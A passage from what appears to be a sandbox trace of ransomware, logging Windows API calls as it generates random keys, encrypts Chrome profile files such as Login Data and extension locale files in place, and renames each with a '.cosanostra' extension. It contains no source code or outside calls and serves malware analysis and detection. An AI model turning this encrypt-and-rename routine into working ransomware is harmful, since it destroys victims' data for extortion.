lpNumberOfBytesWritten=0x251ef24*=0x30, lpOverlapped=0x0) returned 1 [0104.926] CloseHandle (hObject=0x15c) returned 1 [0104.927] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.cosanostra") returned 109 [0104.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs.cosanostra")) returned 1 [0104.927] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef60 | out: pbBuffer=0x251ef60) returned 1 [0104.928] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef58*=0x30) returned 1 [0104.928] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.928] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 104 [0104.928] StrStrW (lpFirst="Network Persistent State", lpSrch=".txt") returned 0x0 [0104.929] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffffd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.929] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef1c*=0x28, lpOverlapped=0x0) returned 1 [0104.929] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.929] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x251ef5c*, lpNumberOfBytesWritten=0x251ef1c*=0x4, lpOverlapped=0x0) returned 1 [0104.929] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef1c*=0x30, lpOverlapped=0x0) returned 1 [0104.929] CloseHandle (hObject=0x15c) returned 1 [0104.929] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.cosanostra") returned 115 [0104.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.cosanostra")) returned 1 [0104.930] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef60 | out: pbBuffer=0x251ef60) returned 1 [0104.930] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef58*=0x30) returned 1 [0104.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.931] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 112 [0104.931] StrStrW (lpFirst="Network Action Predictor-journal", lpSrch=".txt") returned 0x0 [0104.931] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.931] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef1c*=0x0, lpOverlapped=0x0) returned 1 [0104.931] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.931] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x251ef5c*, lpNumberOfBytesWritten=0x251ef1c*=0x4, lpOverlapped=0x0) returned 1 [0104.932] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef1c*=0x30, lpOverlapped=0x0) returned 1 [0104.932] CloseHandle (hObject=0x15c) returned 1 [0104.932] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal.cosanostra") returned 123 [0104.932] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal.cosanostra")) returned 1 [0104.933] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef58 | out: pbBuffer=0x251ef58) returned 1 [0104.933] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef50*=0x30) returned 1 [0104.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.933] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 104 [0104.933] StrStrW (lpFirst="Network Action Predictor", lpSrch=".txt") returned 0x0 [0104.937] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.937] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef14*=0x2800, lpOverlapped=0x0) returned 1 [0104.938] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.938] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x251ef54*, lpNumberOfBytesWritten=0x251ef14*=0x4, lpOverlapped=0x0) returned 1 [0104.938] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef14*=0x30, lpOverlapped=0x0) returned 1 [0104.938] CloseHandle (hObject=0x15c) returned 1 [0104.939] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.cosanostra") returned 115 [0104.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor.cosanostra")) returned 1 [0104.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef58 | out: pbBuffer=0x251ef58) returned 1 [0104.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef50*=0x30) returned 1 [0104.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.942] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 98 [0104.942] StrStrW (lpFirst="Login Data-journal", lpSrch=".txt") returned 0x0 [0104.942] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.942] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef14*=0x0, lpOverlapped=0x0) returned 1 [0104.942] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.942] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x251ef54*, lpNumberOfBytesWritten=0x251ef14*=0x4, lpOverlapped=0x0) returned 1 [0104.943] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef14*=0x30, lpOverlapped=0x0) returned 1 [0104.943] CloseHandle (hObject=0x15c) returned 1 [0104.943] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal.cosanostra") returned 109 [0104.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal.cosanostra")) returned 1 [0104.945] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef50 | out: pbBuffer=0x251ef50) returned 1 [0104.950] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef48*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef48*=0x30) returned 1 [0104.950] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 90 [0104.951] StrStrW (lpFirst="Login Data", lpSrch=".txt") returned 0x0 [0104.953] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.953] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef0c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef0c*=0x2800, lpOverlapped=0x0) returned 1 [0104.953] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.953] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef0c, lpOverlapped=0x0 | out: lpBuffer=0x251ef4c*, lpNumberOfBytesWritten=0x251ef0c*=0x4, lpOverlapped=0x0) returned 1 [0104.953] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef0c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef0c*=0x30, lpOverlapped=0x0) returned 1 [0104.953] CloseHandle (hObject=0x15c) returned 1 [0104.953] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.cosanostra") returned 101 [0104.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data.cosanostra")) returned 1 [0105.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef48 | out: pbBuffer=0x251ef48) returned 1 [0105.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef40*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef40*=0x30) returned 1 [0105.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.015] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json") returned 164 [0105.015] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.025] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.025] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef04, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef04*=0x2800, lpOverlapped=0x0) returned 1 [0105.026] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.026] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef04, lpOverlapped=0x0 | out: lpBuffer=0x251ef44*, lpNumberOfBytesWritten=0x251ef04*=0x4, lpOverlapped=0x0) returned 1 [0105.026] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef04, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef04*=0x30, lpOverlapped=0x0) returned 1 [0105.026] CloseHandle (hObject=0x15c) returned 1 [0105.027] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.cosanostra") returned 175 [0105.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0105.029] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef40 | out: pbBuffer=0x251ef40) returned 1 [0105.029] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef38*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef38*=0x30) returned 1 [0105.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.030] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json") returned 164 [0105.030] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.038] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.038] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eefc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251eefc*=0x2800, lpOverlapped=0x0) returned 1 [0105.039] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.039] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eefc, lpOverlapped=0x0 | out: lpBuffer=0x251ef3c*, lpNumberOfBytesWritten=0x251eefc*=0x4, lpOverlapped=0x0) returned 1 [0105.047] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eefc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251eefc*=0x30, lpOverlapped=0x0) returned 1 [0105.055] CloseHandle (hObject=0x15c) returned 1 [0105.056] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.cosanostra") returned 175 [0105.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0105.121] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef30 | out: pbBuffer=0x251ef30) returned 1 [0105.121] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef28*=0x30) returned 1 [0105.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.122] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json") returned 164 [0105.122] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.125] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eeec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251eeec*=0x2800, lpOverlapped=0x0) returned 1 [0105.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.125] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eeec, lpOverlapped=0x0 | out: lpBuffer=0x251ef2c*, lpNumberOfBytesWritten=0x251eeec*=0x4, lpOverlapped=0x0) returned 1 [0105.125] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eeec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eeec*=0x30, lpOverlapped=0x0) returned 1 [0105.125] CloseHandle (hObject=0x15c) returned 1 [0105.125] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.cosanostra") returned 175 [0105.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 